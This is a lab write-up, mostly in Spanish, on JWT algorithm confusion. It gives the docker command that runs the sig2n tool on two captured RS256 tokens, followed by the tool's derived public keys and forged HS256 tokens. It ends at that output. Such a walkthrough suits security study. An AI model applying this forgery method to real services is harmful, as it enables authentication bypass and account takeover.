← Writeups

JWT authentication bypass via algorithm confusion with no exposed key

This lab uses a JWT-based mechanism for handling sessions. It uses a robust RSA key pair to sign and verify tokens. However, due to implementation flaws, this mechanism is vulnerable to algorithm confusion attacks.

To solve the lab, first obtain the server's public key. Use this key to sign a modified session token that gives you access to the admin panel at /admin, then delete the user carlos.

You can log in to your own account using the following credentials: wiener:peter Tip

We recommend familiarizing yourself with how to work with JWTs in Burp Suite before attempting this lab.

We have also provided a simplified version of the jwt_forgery.py tool to help you. For details on how to use this, see Deriving public keys from existing tokens.


Este es el JWT decodificado recibido tras realizar el login: Se puede apreciar que utilza RS256(RSA + SHA-256) el cual es un algoritmo asimetrico

{
  "kid": "3c096d11-ce95-4577-8da7-56136beabc9c",
  "alg": "RS256"
}
{
  "iss": "portswigger",
  "exp": 1757276372,
  "sub": "wiener"
}

Con ello se podria proceder a buscar la clave publica, pero el ejercicio menciona que no esta disponible, entonces se opta por utilizar una utilidad o herramienta escrita en python para derivar la llave publica utilizando el JWT.

Portswigger tiene registrado un contenedor llamado sig2n https://hub.docker.com/r/portswigger/sig2n Entonces Utilizamos docker pull portswigger/sig2n para realizar un pull sobre la imagen y asi poder ejecutar el siguiente comando que recibe 2 JWT por lo que tienes que cerrar sesion para recibir otro y pasarselo como 2do parametro.

docker run --rm -it portswigger/sig2n "eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1NzI3NjM3Miwic3ViIjoid2llbmVyIn0.YxnzgDzb3f51X-X4MaH_CKaXJYLQzrP8JtRc1hP14H7ws7lq71X45rArHOynKOSAllR6azp3Q8g5LIv9dAIMJfE1efY5hqd9Hxcx1Y0-SpolZW-YRuP5N7IJ6UNjP3oBI2LuNXOFytIz003_9yIk3_BU6EimMpcQ5bVUkrvdf9rQ8dCu4eDMEMQaTPwKVKv6eyJjBH0vg_rMse5ycoFTdzbrHQYyndkL-qOpIZAo3Mz-KvQHaVrIvTGCMENHtOLB7KewYY5NpeY7ZQOY2dWMccLi2el7Mb5VVGwr_Bo5-6OntkWdrghleYeuGOz7sWFHSPDQHfkSRZsCKK0bC3-Icw" "eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1NzI3NzU1Nywic3ViIjoid2llbmVyIn0.qa5WKW396wIIvSfGr5bVu_KE0gbfG9mmv7GjXSI8JH20uDF2pb6EorjBJCplnTtgis2CkB98EKsuPH9Yr3cZ_decFkbIfLnO-TZv_CQSnbZuynDFYh_QPabvv9gDsOW_W94IFKufJuEZ0KLuETRzcuTLiAUUqJKvsLSUJkyB0uVp4D-igFf7nnR9tw8vlD-TSKHI4fCda_ElpnBS05ZUyD3P7CD2NJt0ql-QGQyl81NsoDbE9Wl3xUdB4WtYIDwv4t2GGRa_8bBGFdlkR3Iab5EkWtDGExbksDf5JhmS2yh7x4L-BGhZn55rpDfTgLj3x2Rp1vwLoiUp4yn7_NiUpw"

El Output del comando anterior es: La clave publica en formato PEM en 2 formatos: x509 y PKCS1 y sus correspondientes JWT manipulados.


Running command: python3 jwt_forgery.py <token1> <token2>

Found n with multiplier 1:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUJuRmtxY1QyOHhtTkdKOHNRMG9SbAptbkZraXpxWlQvNHN3dUFzNHdiVnpZbDB6MS9sM3d4RXpmYUlQdVRGY3JEb2RzOGRjTHNPTFU2dmxYQmloUkovClVPZ3lMNWpYaGZjelZqbXgxTGxqM0hsNWRaaWdkMUZkU0h6VGUyUGYvWkRqS000eFNlaDBwRTNQN25NZVYwVjcKSGIzeVBVZWR0MjA3eGtCTkJuTjRTa2R2NTZ2RXhuaC9sdGJHeEtwTHA3ZkJIL3k3cldrK2VmMjVEWjF5cW9lUgptZDZNZXkrb2xSTkRZaFVJNkVhcjFhNnFrRHBwdTZacmZvcDVCTUZVQlkzQ1dPSjR1cXZwbFowOHl1VHFQK254CjVOUXRzMlpDNjBRem9nc2VaZll4RVNJNXpScXNiYXZWa1NoeHQzYmlSczllWUpRSWlUVVlJOFJvSEZ2R2tYVisKZ2dJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc1NzM2MDQzMiwgInN1YiI6ICJ3aWVuZXIifQ.4ob7ANH7JX09NtQtvPhrd-a_YpjKamiKHENjQE1Qbqc
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQm5Ga3FjVDI4eG1OR0o4c1Ewb1JsbW5Ga2l6cVpULzRzd3VBczR3YlZ6WWwwejEvbDN3eEUKemZhSVB1VEZjckRvZHM4ZGNMc09MVTZ2bFhCaWhSSi9VT2d5TDVqWGhmY3pWam14MUxsajNIbDVkWmlnZDFGZApTSHpUZTJQZi9aRGpLTTR4U2VoMHBFM1A3bk1lVjBWN0hiM3lQVWVkdDIwN3hrQk5Cbk40U2tkdjU2dkV4bmgvCmx0Ykd4S3BMcDdmQkgveTdyV2srZWYyNURaMXlxb2VSbWQ2TWV5K29sUk5EWWhVSTZFYXIxYTZxa0RwcHU2WnIKZm9wNUJNRlVCWTNDV09KNHVxdnBsWjA4eXVUcVArbng1TlF0czJaQzYwUXpvZ3NlWmZZeEVTSTV6UnFzYmF2VgprU2h4dDNiaVJzOWVZSlFJaVRVWUk4Um9IRnZHa1hWK2dnSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc1NzM2MDQzMiwgInN1YiI6ICJ3aWVuZXIifQ.5Xyc0A0Rje3SAHZr48eLyjwcpYjFYXFkIExlsm8P39Y

Found n with multiplier 2:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6aXlWT0o3ZVl6R2pFK1dJYVVJeQp6VGl5UloxTXAvOFdZWEFXY1lOcTVzUzZaNi95NzRZaVp2dEVIM0ppdVZoME8yZU91RjJIRnFkWHlyZ3hRb2svCnFIUVpGOHhyd3Z1WnF4elk2bHl4N2p5OHVzeFFPNml1cEQ1cHZiSHYvc2h4bEdjWXBQUTZVaWJuOXptUEs2SzkKanQ3NUhxUE8yN2FkNHlBbWd6bThKU08zODlYaVl6dy95MnRqWWxVbDA5dmdqLzVkMXJTZlBQN2NoczY1VlVQSQp6TzlHUFpmVVNvbWhzUXFFZENOVjZ0ZFZTQjAwM2RNMXYwVThnbUNxQXNiaExIRThYVlgweXM2ZVpYSjFIL1Q0Cjhtb1cyYk1oZGFJWjBRV1BNdnNZaUpFYzVvMVdOdFhxeUpRNDI3dHhJMmV2TUVvRVJKcU1FZUkwRGkzalNMcS8KUVFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc1NzM2MDQzMiwgInN1YiI6ICJ3aWVuZXIifQ.3buCnqqY3W2mLEkNWT2GRg36hcA4dyZBVAkengLTuCE
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXppeVZPSjdlWXpHakUrV0lhVUl5elRpeVJaMU1wLzhXWVhBV2NZTnE1c1M2WjYveTc0WWkKWnZ0RUgzSml1VmgwTzJlT3VGMkhGcWRYeXJneFFvay9xSFFaRjh4cnd2dVpxeHpZNmx5eDdqeTh1c3hRTzZpdQpwRDVwdmJIdi9zaHhsR2NZcFBRNlVpYm45em1QSzZLOWp0NzVIcVBPMjdhZDR5QW1nem04SlNPMzg5WGlZencvCnkydGpZbFVsMDl2Z2ovNWQxclNmUFA3Y2hzNjVWVVBJek85R1BaZlVTb21oc1FxRWRDTlY2dGRWU0IwMDNkTTEKdjBVOGdtQ3FBc2JoTEhFOFhWWDB5czZlWlhKMUgvVDQ4bW9XMmJNaGRhSVowUVdQTXZzWWlKRWM1bzFXTnRYcQp5SlE0Mjd0eEkyZXZNRW9FUkpxTUVlSTBEaTNqU0xxL1FRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc1NzM2MDQzMiwgInN1YiI6ICJ3aWVuZXIifQ.yadu7Dqa6QFxMjnoG4NPMPQYN2_BMU9l4-m-NZ9x3oU